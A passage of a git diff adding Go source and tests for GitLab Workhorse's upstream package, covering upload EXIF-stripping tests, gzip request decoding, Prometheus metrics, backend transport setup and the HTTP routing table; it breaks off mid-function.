+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, nilHandler, apiResponse, &SavedFileTracker{Request: httpRequest}, opts)
+ require.Equal(t, testCase.code, response.Code)
+ }
+}
+
+func TestUploadHandlerRemovingExif(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ var buffer bytes.Buffer
+
+ content, err := ioutil.ReadFile("exif/testdata/sample_exif.jpg")
+ require.NoError(t, err)
+
+ writer := multipart.NewWriter(&buffer)
+ file, err := writer.CreateFormFile("file", "test.jpg")
+ require.NoError(t, err)
+
+ _, err = file.Write(content)
+ require.NoError(t, err)
+
+ err = writer.Close()
+ require.NoError(t, err)
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`/url/path\z`), func(w http.ResponseWriter, r *http.Request) {
+ err := r.ParseMultipartForm(100000)
+ require.NoError(t, err)
+
+ size, err := strconv.Atoi(r.FormValue("file.size"))
+ require.NoError(t, err)
+ require.True(t, size < len(content), "Expected the file to be smaller after removal of exif")
+ require.True(t, size > 0, "Expected to receive not empty file")
+
+ w.WriteHeader(200)
+ fmt.Fprint(w, "RESPONSE")
+ })
+ defer ts.Close()
+
+ httpRequest, err := http.NewRequest("POST", ts.URL+"/url/path", &buffer)
+ require.NoError(t, err)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ httpRequest = httpRequest.WithContext(ctx)
+ httpRequest.ContentLength = int64(buffer.Len())
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+ response := httptest.NewRecorder()
+
+ handler := newProxy(ts.URL)
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, handler, apiResponse, &testFormProcessor{}, opts)
+ require.Equal(t, 200, response.Code)
+}
+
+func TestUploadHandlerRemovingInvalidExif(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ var buffer bytes.Buffer
+
+ writer := multipart.NewWriter(&buffer)
+ file, err := writer.CreateFormFile("file", "test.jpg")
+ require.NoError(t, err)
+
+ fmt.Fprint(file, "this is not valid image data")
+ err = writer.Close()
+ require.NoError(t, err)
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`/url/path\z`), func(w http.ResponseWriter, r *http.Request) {
+ err := r.ParseMultipartForm(100000)
+ require.Error(t, err)
+ })
+ defer ts.Close()
+
+ httpRequest, err := http.NewRequest("POST", ts.URL+"/url/path", &buffer)
+ require.NoError(t, err)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ httpRequest = httpRequest.WithContext(ctx)
+ httpRequest.ContentLength = int64(buffer.Len())
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+ response := httptest.NewRecorder()
+
+ handler := newProxy(ts.URL)
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, handler, apiResponse, &testFormProcessor{}, opts)
+ require.Equal(t, 422, response.Code)
+}
+
+func newProxy(url string) *proxy.Proxy {
+ parsedURL := helper.URLMustParse(url)
+ return proxy.NewProxy(parsedURL, "123", roundtripper.NewTestBackendRoundTripper(parsedURL))
+}
+
+func waitUntilDeleted(t *testing.T, path string) {
+ var err error
+
+ // Poll because the file removal is async
+ for i := 0; i < 100; i++ {
+ _, err = os.Stat(path)
+ if err != nil {
+ break
+ }
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ require.True(t, os.IsNotExist(err), "expected the file to be deleted")
+}
diff --git a/workhorse/internal/upstream/development_test.go b/workhorse/internal/upstream/development_test.go
new file mode 100644
index 00000000000..d2957abb18b
--- /dev/null
+++ b/workhorse/internal/upstream/development_test.go
@@ -0,0 +1,39 @@
+package upstream
+
+import (
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestDevelopmentModeEnabled(t *testing.T) {
+ developmentMode := true
+
+ r, _ := http.NewRequest("GET", "/something", nil)
+ w := httptest.NewRecorder()
+
+ executed := false
+ NotFoundUnless(developmentMode, http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) {
+ executed = true
+ })).ServeHTTP(w, r)
+
+ require.True(t, executed, "The handler should get executed")
+}
+
+func TestDevelopmentModeDisabled(t *testing.T) {
+ developmentMode := false
+
+ r, _ := http.NewRequest("GET", "/something", nil)
+ w := httptest.NewRecorder()
+
+ executed := false
+ NotFoundUnless(developmentMode, http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) {
+ executed = true
+ })).ServeHTTP(w, r)
+
+ require.False(t, executed, "The handler should not get executed")
+
+ require.Equal(t, 404, w.Code)
+}
diff --git a/workhorse/internal/upstream/handlers.go b/workhorse/internal/upstream/handlers.go
new file mode 100644
index 00000000000..a6aa148a4ae
--- /dev/null
+++ b/workhorse/internal/upstream/handlers.go
@@ -0,0 +1,39 @@
+package upstream
+
+import (
+ "compress/gzip"
+ "fmt"
+ "io"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+func contentEncodingHandler(h http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ var body io.ReadCloser
+ var err error
+
+ // The client request body may have been gzipped.
+ contentEncoding := r.Header.Get("Content-Encoding")
+ switch contentEncoding {
+ case "":
+ body = r.Body
+ case "gzip":
+ body, err = gzip.NewReader(r.Body)
+ default:
+ err = fmt.Errorf("unsupported content encoding: %s", contentEncoding)
+ }
+
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("contentEncodingHandler: %v", err))
+ return
+ }
+ defer body.Close()
+
+ r.Body = body
+ r.Header.Del("Content-Encoding")
+
+ h.ServeHTTP(w, r)
+ })
+}
diff --git a/workhorse/internal/upstream/handlers_test.go b/workhorse/internal/upstream/handlers_test.go
new file mode 100644
index 00000000000..10c7479f5c5
--- /dev/null
+++ b/workhorse/internal/upstream/handlers_test.go
@@ -0,0 +1,67 @@
+package upstream
+
+import (
+ "bytes"
+ "compress/gzip"
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestGzipEncoding(t *testing.T) {
+ resp := httptest.NewRecorder()
+
+ var b bytes.Buffer
+ w := gzip.NewWriter(&b)
+ fmt.Fprint(w, "test")
+ w.Close()
+
+ body := ioutil.NopCloser(&b)
+
+ req, err := http.NewRequest("POST", "http://address/test", body)
+ require.NoError(t, err)
+ req.Header.Set("Content-Encoding", "gzip")
+
+ contentEncodingHandler(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) {
+ require.IsType(t, &gzip.Reader{}, r.Body, "body type")
+ require.Empty(t, r.Header.Get("Content-Encoding"), "Content-Encoding should be deleted")
+ })).ServeHTTP(resp, req)
+
+ require.Equal(t, 200, resp.Code)
+}
+
+func TestNoEncoding(t *testing.T) {
+ resp := httptest.NewRecorder()
+
+ var b bytes.Buffer
+ body := ioutil.NopCloser(&b)
+
+ req, err := http.NewRequest("POST", "http://address/test", body)
+ require.NoError(t, err)
+ req.Header.Set("Content-Encoding", "")
+
+ contentEncodingHandler(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) {
+ require.Equal(t, body, r.Body, "Expected the same body")
+ require.Empty(t, r.Header.Get("Content-Encoding"), "Content-Encoding should be deleted")
+ })).ServeHTTP(resp, req)
+
+ require.Equal(t, 200, resp.Code)
+}
+
+func TestInvalidEncoding(t *testing.T) {
+ resp := httptest.NewRecorder()
+
+ req, err := http.NewRequest("POST", "http://address/test", nil)
+ require.NoError(t, err)
+ req.Header.Set("Content-Encoding", "application/unknown")
+
+ contentEncodingHandler(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) {
+ t.Fatal("it shouldn't be executed")
+ })).ServeHTTP(resp, req)
+
+ require.Equal(t, 500, resp.Code)
+}
diff --git a/workhorse/internal/upstream/metrics.go b/workhorse/internal/upstream/metrics.go
new file mode 100644
index 00000000000..38528056d43
--- /dev/null
+++ b/workhorse/internal/upstream/metrics.go
@@ -0,0 +1,117 @@
+package upstream
+
+import (
+ "net/http"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "github.com/prometheus/client_golang/prometheus/promhttp"
+)
+
+const (
+ namespace = "gitlab_workhorse"
+ httpSubsystem = "http"
+)
+
+func secondsDurationBuckets() []float64 {
+ return []float64{
+ 0.005, /* 5ms */
+ 0.025, /* 25ms */
+ 0.1, /* 100ms */
+ 0.5, /* 500ms */
+ 1.0, /* 1s */
+ 10.0, /* 10s */
+ 30.0, /* 30s */
+ 60.0, /* 1m */
+ 300.0, /* 10m */
+ }
+}
+
+func byteSizeBuckets() []float64 {
+ return []float64{
+ 10,
+ 64,
+ 256,
+ 1024, /* 1kB */
+ 64 * 1024, /* 64kB */
+ 256 * 1024, /* 256kB */
+ 1024 * 1024, /* 1mB */
+ 64 * 1024 * 1024, /* 64mB */
+ }
+}
+
+var (
+ httpInFlightRequests = promauto.NewGauge(prometheus.GaugeOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "in_flight_requests",
+ Help: "A gauge of requests currently being served by workhorse.",
+ })
+
+ httpRequestsTotal = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "requests_total",
+ Help: "A counter for requests to workhorse.",
+ },
+ []string{"code", "method", "route"},
+ )
+
+ httpRequestDurationSeconds = promauto.NewHistogramVec(
+ prometheus.HistogramOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "request_duration_seconds",
+ Help: "A histogram of latencies for requests to workhorse.",
+ Buckets: secondsDurationBuckets(),
+ },
+ []string{"code", "method", "route"},
+ )
+
+ httpRequestSizeBytes = promauto.NewHistogramVec(
+ prometheus.HistogramOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "request_size_bytes",
+ Help: "A histogram of sizes of requests to workhorse.",
+ Buckets: byteSizeBuckets(),
+ },
+ []string{"code", "method", "route"},
+ )
+
+ httpResponseSizeBytes = promauto.NewHistogramVec(
+ prometheus.HistogramOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "response_size_bytes",
+ Help: "A histogram of response sizes for requests to workhorse.",
+ Buckets: byteSizeBuckets(),
+ },
+ []string{"code", "method", "route"},
+ )
+
+ httpTimeToWriteHeaderSeconds = promauto.NewHistogramVec(
+ prometheus.HistogramOpts{
+ Namespace: namespace,
+ Subsystem: httpSubsystem,
+ Name: "time_to_write_header_seconds",
+ Help: "A histogram of request durations until the response headers are written.",
+ Buckets: secondsDurationBuckets(),
+ },
+ []string{"code", "method", "route"},
+ )
+)
+
+func instrumentRoute(next http.Handler, method string, regexpStr string) http.Handler {
+ handler := next
+
+ handler = promhttp.InstrumentHandlerCounter(httpRequestsTotal.MustCurryWith(map[string]string{"route": regexpStr}), handler)
+ handler = promhttp.InstrumentHandlerDuration(httpRequestDurationSeconds.MustCurryWith(map[string]string{"route": regexpStr}), handler)
+ handler = promhttp.InstrumentHandlerInFlight(httpInFlightRequests, handler)
+ handler = promhttp.InstrumentHandlerRequestSize(httpRequestSizeBytes.MustCurryWith(map[string]string{"route": regexpStr}), handler)
+ handler = promhttp.InstrumentHandlerResponseSize(httpResponseSizeBytes.MustCurryWith(map[string]string{"route": regexpStr}), handler)
+ handler = promhttp.InstrumentHandlerTimeToWriteHeader(httpTimeToWriteHeaderSeconds.MustCurryWith(map[string]string{"route": regexpStr}), handler)
+
+ return handler
+}
diff --git a/workhorse/internal/upstream/notfoundunless.go b/workhorse/internal/upstream/notfoundunless.go
new file mode 100644
index 00000000000..3bbe3e873a4
--- /dev/null
+++ b/workhorse/internal/upstream/notfoundunless.go
@@ -0,0 +1,11 @@
+package upstream
+
+import "net/http"
+
+func NotFoundUnless(pass bool, handler http.Handler) http.Handler {
+ if pass {
+ return handler
+ }
+
+ return http.HandlerFunc(http.NotFound)
+}
diff --git a/workhorse/internal/upstream/roundtripper/roundtripper.go b/workhorse/internal/upstream/roundtripper/roundtripper.go
new file mode 100644
index 00000000000..84f1983b471
--- /dev/null
+++ b/workhorse/internal/upstream/roundtripper/roundtripper.go
@@ -0,0 +1,61 @@
+package roundtripper
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "net/http"
+ "net/url"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/correlation"
+ "gitlab.com/gitlab-org/labkit/tracing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/badgateway"
+)
+
+func mustParseAddress(address, scheme string) string {
+ if scheme == "https" {
+ panic("TLS is not supported for backend connections")
+ }
+
+ for _, suffix := range []string{"", ":" + scheme} {
+ address += suffix
+ if host, port, err := net.SplitHostPort(address); err == nil && host != "" && port != "" {
+ return host + ":" + port
+ }
+ }
+
+ panic(fmt.Errorf("could not parse host:port from address %q and scheme %q", address, scheme))
+}
+
+// NewBackendRoundTripper returns a new RoundTripper instance using the provided values
+func NewBackendRoundTripper(backend *url.URL, socket string, proxyHeadersTimeout time.Duration, developmentMode bool) http.RoundTripper {
+ // Copied from the definition of http.DefaultTransport. We can't literally copy http.DefaultTransport because of its hidden internal state.
+ transport, dialer := newBackendTransport()
+ transport.ResponseHeaderTimeout = proxyHeadersTimeout
+
+ if backend != nil && socket == "" {
+ address := mustParseAddress(backend.Host, backend.Scheme)
+ transport.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
+ return dialer.DialContext(ctx, "tcp", address)
+ }
+ } else if socket != "" {
+ transport.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
+ return dialer.DialContext(ctx, "unix", socket)
+ }
+ } else {
+ panic("backend is nil and socket is empty")
+ }
+
+ return tracing.NewRoundTripper(
+ correlation.NewInstrumentedRoundTripper(
+ badgateway.NewRoundTripper(developmentMode, transport),
+ ),
+ )
+}
+
+// NewTestBackendRoundTripper sets up a RoundTripper for testing purposes
+func NewTestBackendRoundTripper(backend *url.URL) http.RoundTripper {
+ return NewBackendRoundTripper(backend, "", 0, true)
+}
diff --git a/workhorse/internal/upstream/roundtripper/roundtripper_test.go b/workhorse/internal/upstream/roundtripper/roundtripper_test.go
new file mode 100644
index 00000000000..79ffa244918
--- /dev/null
+++ b/workhorse/internal/upstream/roundtripper/roundtripper_test.go
@@ -0,0 +1,39 @@
+package roundtripper
+
+import (
+ "strconv"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestMustParseAddress(t *testing.T) {
+ successExamples := []struct{ address, scheme, expected string }{
+ {"1.2.3.4:56", "http", "1.2.3.4:56"},
+ {"[::1]:23", "http", "::1:23"},
+ {"4.5.6.7", "http", "4.5.6.7:http"},
+ }
+ for i, example := range successExamples {
+ t.Run(strconv.Itoa(i), func(t *testing.T) {
+ require.Equal(t, example.expected, mustParseAddress(example.address, example.scheme))
+ })
+ }
+}
+
+func TestMustParseAddressPanic(t *testing.T) {
+ panicExamples := []struct{ address, scheme string }{
+ {"1.2.3.4", ""},
+ {"1.2.3.4", "https"},
+ }
+
+ for i, panicExample := range panicExamples {
+ t.Run(strconv.Itoa(i), func(t *testing.T) {
+ defer func() {
+ if r := recover(); r == nil {
+ t.Fatal("expected panic")
+ }
+ }()
+ mustParseAddress(panicExample.address, panicExample.scheme)
+ })
+ }
+}
diff --git a/workhorse/internal/upstream/roundtripper/transport.go b/workhorse/internal/upstream/roundtripper/transport.go
new file mode 100644
index 00000000000..84d9623b129
--- /dev/null
+++ b/workhorse/internal/upstream/roundtripper/transport.go
@@ -0,0 +1,27 @@
+package roundtripper
+
+import (
+ "net"
+ "net/http"
+ "time"
+)
+
+// newBackendTransport setups the default HTTP transport which Workhorse uses
+// to communicate with the upstream
+func newBackendTransport() (*http.Transport, *net.Dialer) {
+ dialler := &net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 30 * time.Second,
+ }
+
+ transport := &http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ DialContext: dialler.DialContext,
+ MaxIdleConns: 100,
+ IdleConnTimeout: 90 * time.Second,
+ TLSHandshakeTimeout: 10 * time.Second,
+ ExpectContinueTimeout: 1 * time.Second,
+ }
+
+ return transport, dialler
+}
diff --git a/workhorse/internal/upstream/routes.go b/workhorse/internal/upstream/routes.go
new file mode 100644
index 00000000000..5bbd245719b
--- /dev/null
+++ b/workhorse/internal/upstream/routes.go
@@ -0,0 +1,345 @@
+package upstream
+
+import (
+ "net/http"
+ "net/url"
+ "path"
+ "regexp"
+
+ "github.com/gorilla/websocket"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/tracing"
+
+ apipkg "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/artifacts"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/builds"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/channel"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/git"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/imageresizer"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/lfs"
+ proxypkg "gitlab.com/gitlab-org/gitlab-workhorse/internal/proxy"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/queueing"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/redis"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/sendfile"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/sendurl"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/staticpages"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+)
+
+type matcherFunc func(*http.Request) bool
+
+type routeEntry struct {
+ method string
+ regex *regexp.Regexp
+ handler http.Handler
+ matchers []matcherFunc
+}
+
+type routeOptions struct {
+ tracing bool
+ matchers []matcherFunc
+}
+
+type uploadPreparers struct {
+ artifacts upload.Preparer
+ lfs upload.Preparer
+ packages upload.Preparer
+ uploads upload.Preparer
+}
+
+const (
+ apiPattern = `^/api/`
+ ciAPIPattern = `^/ci/api/`
+ gitProjectPattern = `^/([^/]+/){1,}[^/]+\.git/`
+ projectPattern = `^/([^/]+/){1,}[^/]+/`
+ snippetUploadPattern = `^/uploads/personal_snippet`
+ userUploadPattern = `^/uploads/user`
+ importPattern = `^/import/`
+)
+
+func compileRegexp(regexpStr string) *regexp.Regexp {
+ if len(regexpStr) == 0 {
+ return nil
+ }
+
+ return regexp.MustCompile(regexpStr)
+}
+
+func withMatcher(f matcherFunc) func(*routeOptions) {
+ return func(options *routeOptions) {
+ options.matchers = append(options.matchers, f)
+ }
+}
+
+func withoutTracing() func(*routeOptions) {
+ return func(options *routeOptions) {
+ options.tracing = false
+ }
+}
+
+func (u *upstream) observabilityMiddlewares(handler http.Handler, method string, regexpStr string) http.Handler {
+ handler = log.AccessLogger(
+ handler,
+ log.WithAccessLogger(u.accessLogger),
+ log.WithExtraFields(func(r *http.Request) log.Fields {
+ return log.Fields{
+ "route": regexpStr, // This field matches the `route` label in Prometheus metrics
+ }
+ }),
+ )
+
+ handler = instrumentRoute(handler, method, regexpStr) // Add prometheus metrics
+ return handler
+}
+
+func (u *upstream) route(method, regexpStr string, handler http.Handler, opts ...func(*routeOptions)) routeEntry {
+ // Instantiate a route with the defaults
+ options := routeOptions{
+ tracing: true,
+ }
+
+ for _, f := range opts {
+ f(&options)
+ }
+
+ handler = u.observabilityMiddlewares(handler, method, regexpStr)
+ handler = denyWebsocket(handler) // Disallow websockets
+ if options.tracing {
+ // Add distributed tracing
+ handler = tracing.Handler(handler, tracing.WithRouteIdentifier(regexpStr))
+ }
+
+ return routeEntry{
+ method: method,
+ regex: compileRegexp(regexpStr),
+ handler: handler,
+ matchers: options.matchers,
+ }
+}
+
+func (u *upstream) wsRoute(regexpStr string, handler http.Handler, matchers ...matcherFunc) routeEntry {
+ method := "GET"
+ handler = u.observabilityMiddlewares(handler, method, regexpStr)
+
+ return routeEntry{
+ method: method,
+ regex: compileRegexp(regexpStr),
+ handler: handler,
+ matchers: append(matchers, websocket.IsWebSocketUpgrade),
+ }
+}
+
+// Creates matcherFuncs for a particular content type.
+func isContentType(contentType string) func(*http.Request) bool {
+ return func(r *http.Request) bool {
+ return helper.IsContentType(contentType, r.Header.Get("Content-Type"))
+ }
+}
+
+func (ro *routeEntry) isMatch(cleanedPath string, req *http.Request) bool {
+ if ro.method != "" && req.Method != ro.method {
+ return false
+ }
+
+ if ro.regex != nil && !ro.regex.MatchString(cleanedPath) {
+ return false
+ }
+
+ ok := true
+ for _, matcher := range ro.matchers {
+ ok = matcher(req)
+ if !ok {
+ break
+ }
+ }
+
+ return ok
+}
+
+func buildProxy(backend *url.URL, version string, rt http.RoundTripper, cfg config.Config) http.Handler {
+ proxier := proxypkg.NewProxy(backend, version, rt)
+
+ return senddata.SendData(
+ sendfile.SendFile(apipkg.Block(proxier)),
+ git.SendArchive,
+ git.SendBlob,
+ git.SendDiff,
+ git.SendPatch,
+ git.SendSnapshot,
+ artifacts.SendEntry,
+ sendurl.SendURL,
+ imageresizer.NewResizer(cfg),
+ )
+}
+
+// Routing table
+// We match against URI not containing the relativeUrlRoot:
+// see upstream.ServeHTTP
+
+func (u *upstream) configureRoutes() {
+ api := apipkg.NewAPI(
+ u.Backend,
+ u.Version,
+ u.RoundTripper,
+ )
+
+ static := &staticpages.Static{DocumentRoot: u.DocumentRoot}
+ proxy := buildProxy(u.Backend, u.Version, u.RoundTripper, u.Config)
+ cableProxy := proxypkg.NewProxy(u.CableBackend, u.Version, u.CableRoundTripper)
+
+ assetsNotFoundHandler := NotFoundUnless(u.DevelopmentMode, proxy)
+ if u.AltDocumentRoot != "" {
+ altStatic := &staticpages.Static{DocumentRoot: u.AltDocumentRoot}
+ assetsNotFoundHandler = altStatic.ServeExisting(
+ u.URLPrefix,
+ staticpages.CacheExpireMax,
+ NotFoundUnless(u.DevelopmentMode, proxy),
+ )
+ }
+
+ signingTripper := secret.NewRoundTripper(u.RoundTripper, u.Version)
+ signingProxy := buildProxy(u.Backend, u.Version, signingTripper, u.Config)
+
+ preparers := createUploadPreparers(u.Config)
+ uploadPath := path.Join(u.DocumentRoot, "uploads/tmp")
+ uploadAccelerateProxy := upload.Accelerate(&upload.SkipRailsAuthorizer{TempPath: uploadPath}, proxy, preparers.uploads)
+ ciAPIProxyQueue := queueing.QueueRequests("ci_api_job_requests", uploadAccelerateProxy, u.APILimit, u.APIQueueLimit, u.APIQueueTimeout)
+ ciAPILongPolling := builds.RegisterHandler(ciAPIProxyQueue, redis.WatchKey, u.APICILongPollingDuration)
+
+ // Serve static files or forward the requests
+ defaultUpstream := static.ServeExisting(
+ u.URLPrefix,
+ staticpages.CacheDisabled,
+ static.DeployPage(static.ErrorPagesUnless(u.DevelopmentMode, staticpages.ErrorFormatHTML, uploadAccelerateProxy)),
+ )
+ probeUpstream := static.ErrorPagesUnless(u.DevelopmentMode, staticpages.ErrorFormatJSON, proxy)
+ healthUpstream := static.ErrorPagesUnless(u.DevelopmentMode, staticpages.ErrorFormatText, proxy)
+
+ u.Routes = []routeEntry{
+ // Git Clone
+ u.route("GET", gitProjectPattern+`info/refs\z`, git.GetInfoRefsHandler(api)),
+ u.route("POST", gitProjectPattern+`git-upload-pack\z`, contentEncodingHandler(git.UploadPack(api)), withMatcher(isContentType("application/x-git-upload-pack-request"))),
+ u.route("POST", gitProjectPattern+`git-receive-pack\z`, contentEncodingHandler(git.ReceivePack(api)), withMatcher(isContentType("application/x-git-receive-pack-request"))),
+ u.route("PUT", gitProjectPattern+`gitlab-lfs/objects/([0-9a-f]{64})/([0-9]+)\z`, lfs.PutStore(api, signingProxy, preparers.lfs), withMatcher(isContentType("application/octet-stream"))),
+
+ // CI Artifacts
+ u.route("POST", apiPattern+`v4/jobs/[0-9]+/artifacts\z`, contentEncodingHandler(artifacts.UploadArtifacts(api, signingProxy, preparers.artifacts))),
+ u.route("POST", ciAPIPattern+`v1/builds/[0-9]+/artifacts\z`, contentEncodingHandler(artifacts.UploadArtifacts(api, signingProxy, preparers.artifacts))),
+
+ // ActionCable websocket
+ u.wsRoute(`^/-/cable\z`, cableProxy),
+
+ // Terminal websocket
+ u.wsRoute(projectPattern+`-/environments/[0-9]+/terminal.ws\z`, channel.Handler(api)),
+ u.wsRoute(projectPattern+`-/jobs/[0-9]+/terminal.ws\z`, channel.Handler(api)),
+
+ // Proxy Job Services
+ u.wsRoute(projectPattern+`-/jobs/[0-9]+/proxy.ws\z`, channel.Handler(api)),
+
+ // Long poll and limit capacity given to jobs/request and builds/register.json
+ u.route("", apiPattern+`v4/jobs/request\z`, ciAPILongPolling),
+ u.route("", ciAPIPattern+`v1/builds/register.json\z`, ciAPILongPolling),
+
+ // Maven Artifact Repository
+ u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/maven/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+
+ // Conan Artifact Repository
+ u.route("PUT", apiPattern+`v4/packages/conan/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+ u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/conan/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+
+ // Generic Packages Repository
+ u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/generic/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+
+ // NuGet Artifact Repository
+ u.route("PUT", apiPattern+`v4/projects/[0-9]+/packages/nuget/`, upload.Accelerate(api, signingProxy, preparers.packages)),
+
+ // PyPI Artifact Repository
+ u.route("POST", apiPattern+`v4/projects/[0-9]+/packages/pypi`, upload.Accelerate(api, signingProxy, preparers.packages)),
+
+ // Debian Artifact Repository
+ u.route("PUT", apiPattern+`v4/projects/[0-9]+/-/packages/debian/incoming/`, upload.BodyUploader(api, signingProxy, preparers.packages)),
+
+ // We are porting API to disk acceleration
+ // we need to declare each routes until we have fixed all the routes on the rails codebase.
+ // Overall status can be seen at https://gitlab.com/groups/gitlab-org/-/epics/1802#current-status
+ u.route("POST", apiPattern+`v4/projects/[0-9]+/wikis/attachments\z`, uploadAccelerateProxy),
+ u.route("POST", apiPattern+`graphql\z`, uploadAccelerateProxy),
+ u.route("POST", apiPattern+`v4/groups/import`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+ u.route("POST", apiPattern+`v4/projects/import`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+
+ // Project Import via UI upload acceleration
+ u.route("POST", importPattern+`gitlab_project`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+ // Group Import via UI upload acceleration
+ u.route("POST", importPattern+`gitlab_group`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+
+ // Metric image upload
+ u.route("POST", apiPattern+`v4/projects/[0-9]+/issues/[0-9]+/metric_images\z`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+
+ // Requirements Import via UI upload acceleration
+ u.route("POST", projectPattern+`requirements_management/requirements/import_csv`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+
+ // Explicitly proxy API requests
+ u.route("", apiPattern, proxy),
+ u.route("", ciAPIPattern, proxy),
+
+ // Serve assets
+ u.route(
+ "", `^/assets/`,
+ static.ServeExisting(
+ u.URLPrefix,
+ staticpages.CacheExpireMax,
+ assetsNotFoundHandler,
+ ),
+ withoutTracing(), // Tracing on assets is very noisy
+ ),
+
+ // Uploads
+ u.route("POST", projectPattern+`uploads\z`, upload.Accelerate(api, signingProxy, preparers.uploads)),
+ u.route("POST", snippetUploadPattern, upload.Accelerate(api, signingProxy, preparers.uploads)),
+ u.route("POST", userUploadPattern, upload.Accelerate(api, signingProxy, preparers.uploads)),
+
+ // For legacy reasons, user uploads are stored under the document root.
+ // To prevent anybody who knows/guesses the URL of a user-uploaded file
+ // from downloading it we make sure requests to /uploads/ do _not_ pass
+ // through static.ServeExisting.
+ u.route("", `^/uploads/`, static.ErrorPagesUnless(u.DevelopmentMode, staticpages.ErrorFormatHTML, proxy)),
+
+ // health checks don't intercept errors and go straight to rails
+ // TODO: We should probably not return a HTML deploy page?
+ // https://gitlab.com/gitlab-org/gitlab-workhorse/issues/230
+ u.route("", "^/-/(readiness|liveness)$", static.DeployPage(probeUpstream)),
+ u.route("", "^/-/health$", static.DeployPage(healthUpstream)),
+
+ // This route lets us filter out health checks from our metrics.
+ u.route("", "^/-/", defaultUpstream),
+
+ u.route("", "", defaultUpstream),
+ }
+}
+
+func createUploadPreparers(cfg config.Config) uploadPreparers {
+ defaultPreparer := upload.NewObjectStoragePreparer(cfg)
+
+ return uploadPreparers{
+ artifacts: defaultPreparer,
+ lfs: lfs.NewLfsUploadPreparer(cfg, defaultPreparer),
+ packages: defaultPreparer,
+ uploads: defaultPreparer,
+ }
+}
+
+func denyWebsocket(next http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if websocket.IsWebSocketUpgrade(r) {
+ helper.HTTPError(w, r, "websocket upgrade not allowed", http.StatusBadRequest)
+ return
+ }
+
